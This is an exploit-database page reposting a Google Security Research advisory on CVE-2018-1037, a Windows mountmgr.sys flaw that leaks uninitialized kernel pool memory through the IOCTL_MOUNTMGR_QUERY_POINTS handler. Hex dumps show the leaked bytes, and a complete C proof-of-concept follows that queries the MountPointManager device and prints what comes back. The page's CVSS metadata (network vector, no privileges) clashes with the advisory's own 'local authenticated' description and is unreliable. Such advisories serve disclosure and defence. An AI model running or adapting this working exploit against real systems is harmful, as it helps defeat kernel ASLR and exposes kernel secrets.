Exploitalert - Database of Exploits

Microsoft Windows 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure

CVE	Category	Price	Severity
CVE-2018-1037	CWE-200	$5000	High

Author	Risk	Exploitation Type	Date
Google Security Research	High	Local	2017-06-22

CPE
cpe:cpe:/o:microsoft:windows

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N	0.039	0.93569

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2017060166

Microsoft Windows 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure/* We have discovered that the handler of the IOCTL_MOUNTMGR_QUERY_POINTS IOCTL in mountmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes. On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ................ 00000020: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................ 00000030: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................ 00000040: 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 ff ff ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ --- cut --- Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a MOUNTMGR_MOUNT_POINTS structure [1], which in turn contains a list of MOUNTMGR_MOUNT_POINT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the repeating pairs of uninitialized bytes correspond to alignment holes after the SymbolicLinkNameLength, UniqueIdLength and DeviceNameLength fields (all of type USHORT, followed by LONG fields, which must be 4-aligned). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL. The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- 00000000: 56 03 00 00 05 00 00 00 ba 00 00 00 60 00 00 00 V...........`... 00000010: 80 00 00 00 0c 00 00 00 8c 00 00 00 2e 00[67 67]..............gg 00000020: 54 01 00 00 1c 00[67 67]1a 01 00 00 0c 00[67 67]T.....gg......gg 00000030: 26 01 00 00 2e 00[67 67]70 01 00 00 60 00[67 67]&.....ggp...`.gg 00000040: 1a 01 00 00 0c 00[67 67]26 01 00 00 2e 00[67 67]......gg&.....gg 00000050: da 02 00 00 60 00[67 67]d0 01 00 00 ee 00[67 67]....`.gg......gg 00000060: be 02 00 00 1c 00[67 67]3a 03 00 00 1c 00[67 67]......gg:.....gg 00000070: d0 01 00 00 ee 00[67 67]be 02 00 00 1c 00[67 67]......gg......gg 00000080: ee a2 5d 9f 00 00 10 00 00 00 00 00 5c 00 44 00 ..].........\.D. 00000090: 65 00 76 00 69 00 63 00 65 00 5c 00 48 00 61 00 e.v.i.c.e.\.H.a. 000000a0: 72 00 64 00 64 00 69 00 73 00 6b 00 56 00 6f 00 r.d.d.i.s.k.V.o. 000000b0: 6c 00 75 00 6d 00 65 00 31 00 5c 00 3f 00 3f 00 l.u.m.e.1.\.?.?. 000000c0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{. 000000d0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 34 00 b.c.0.5.b.4.9.4. 000000e0: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1. 000000f0: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-. 00000100: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e. 00000110: 36 00 39 00 36 00 33 00 7d 00 ee a2 5d 9f 00 00 6.9.6.3.}...]... 00000120: 50 06 00 00 00 00 5c 00 44 00 65 00 76 00 69 00 P.....\.D.e.v.i. 00000130: 63 00 65 00 5c 00 48 00 61 00 72 00 64 00 64 00 c.e.\.H.a.r.d.d. 00000140: 69 00 73 00 6b 00 56 00 6f 00 6c 00 75 00 6d 00 i.s.k.V.o.l.u.m. 00000150: 65 00 32 00 5c 00 44 00 6f 00 73 00 44 00 65 00 e.2.\.D.o.s.D.e. 00000160: 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 3a 00 v.i.c.e.s.\.C.:. 00000170: 5c 00 3f 00 3f 00 5c 00 56 00 6f 00 6c 00 75 00 \.?.?.\.V.o.l.u. 00000180: 6d 00 65 00 7b 00 62 00 63 00 30 00 35 00 62 00 m.e.{.b.c.0.5.b. 00000190: 34 00 39 00 35 00 2d 00 64 00 38 00 34 00 37 00 4.9.5.-.d.8.4.7. 000001a0: 2d 00 31 00 31 00 65 00 34 00 2d 00 61 00 33 00 -.1.1.e.4.-.a.3. 000001b0: 30 00 64 00 2d 00 38 00 30 00 36 00 65 00 36 00 0.d.-.8.0.6.e.6. 000001c0: 66 00 36 00 65 00 36 00 39 00 36 00 33 00 7d 00 f.6.e.6.9.6.3.}. 000001d0: 5c 00 3f 00 3f 00 5c 00 49 00 44 00 45 00 23 00 \.?.?.\.I.D.E.#. 000001e0: 43 00 64 00 52 00 6f 00 6d 00 56 00 42 00 4f 00 C.d.R.o.m.V.B.O. 000001f0: 58 00 5f 00 43 00 44 00 2d 00 52 00 4f 00 4d 00 X._.C.D.-.R.O.M. 00000200: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000210: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000220: 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 5f 00 _._._._._._._._. 00000230: 5f 00 5f 00 5f 00 5f 00 5f 00 31 00 2e 00 30 00 _._._._._.1...0. 00000240: 5f 00 5f 00 5f 00 5f 00 5f 00 23 00 35 00 26 00 _._._._._.#.5.&. 00000250: 31 00 30 00 36 00 61 00 66 00 31 00 37 00 31 00 1.0.6.a.f.1.7.1. 00000260: 26 00 30 00 26 00 31 00 2e 00 30 00 2e 00 30 00 &.0.&.1...0...0. 00000270: 23 00 7b 00 35 00 33 00 66 00 35 00 36 00 33 00 #.{.5.3.f.5.6.3. 00000280: 30 00 64 00 2d 00 62 00 36 00 62 00 66 00 2d 00 0.d.-.b.6.b.f.-. 00000290: 31 00 31 00 64 00 30 00 2d 00 39 00 34 00 66 00 1.1.d.0.-.9.4.f. 000002a0: 32 00 2d 00 30 00 30 00 61 00 30 00 63 00 39 00 2.-.0.0.a.0.c.9. 000002b0: 31 00 65 00 66 00 62 00 38 00 62 00 7d 00 5c 00 1.e.f.b.8.b.}.\. 000002c0: 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 43 00 D.e.v.i.c.e.\.C. 000002d0: 64 00 52 00 6f 00 6d 00 30 00 5c 00 3f 00 3f 00 d.R.o.m.0.\.?.?. 000002e0: 5c 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 7b 00 \.V.o.l.u.m.e.{. 000002f0: 62 00 63 00 30 00 35 00 62 00 34 00 39 00 38 00 b.c.0.5.b.4.9.8. 00000300: 2d 00 64 00 38 00 34 00 37 00 2d 00 31 00 31 00 -.d.8.4.7.-.1.1. 00000310: 65 00 34 00 2d 00 61 00 33 00 30 00 64 00 2d 00 e.4.-.a.3.0.d.-. 00000320: 38 00 30 00 36 00 65 00 36 00 66 00 36 00 65 00 8.0.6.e.6.f.6.e. 00000330: 36 00 39 00 36 00 33 00 7d 00 5c 00 44 00 6f 00 6.9.6.3.}.\.D.o. 00000340: 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 s.D.e.v.i.c.e.s. 00000350: 5c 00 44 00 3a 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? \.D.:........... --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winioctl.h> #include <cstdio> typedef struct _MOUNTMGR_MOUNT_POINT { ULONG SymbolicLinkNameOffset; USHORT SymbolicLinkNameLength; ULONG UniqueIdOffset; USHORT UniqueIdLength; ULONG DeviceNameOffset; USHORT DeviceNameLength; } MOUNTMGR_MOUNT_POINT, *PMOUNTMGR_MOUNT_POINT; typedef struct _MOUNTMGR_MOUNT_POINTS { ULONG Size; ULONG NumberOfMountPoints; MOUNTMGR_MOUNT_POINT MountPoints[1]; } MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Open mount point manager. HANDLE hMntPointMgr = CreateFile(L"\\\\.\\MountPointManager", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hMntPointMgr == INVALID_HANDLE_VALUE) { printf("CreateFile failed, %d\n", GetLastError()); return 1; } // Request data, assuming it fits into the 4096-byte buffer. MOUNTMGR_MOUNT_POINT mnt_point; RtlZeroMemory(&mnt_point, sizeof(mnt_point)); BYTE OutputBuffer[4096]; DWORD BytesReturned; if (!DeviceIoControl(hMntPointMgr, 0x6D0008, &mnt_point, sizeof(mnt_point), OutputBuffer, sizeof(OutputBuffer), &BytesReturned, NULL)) { printf("DeviceIoControl failed, %d\n", GetLastError()); CloseHandle(hMntPointMgr); return 1; } PrintHex(OutputBuffer, BytesReturned); CloseHandle(hMntPointMgr); return 0; }

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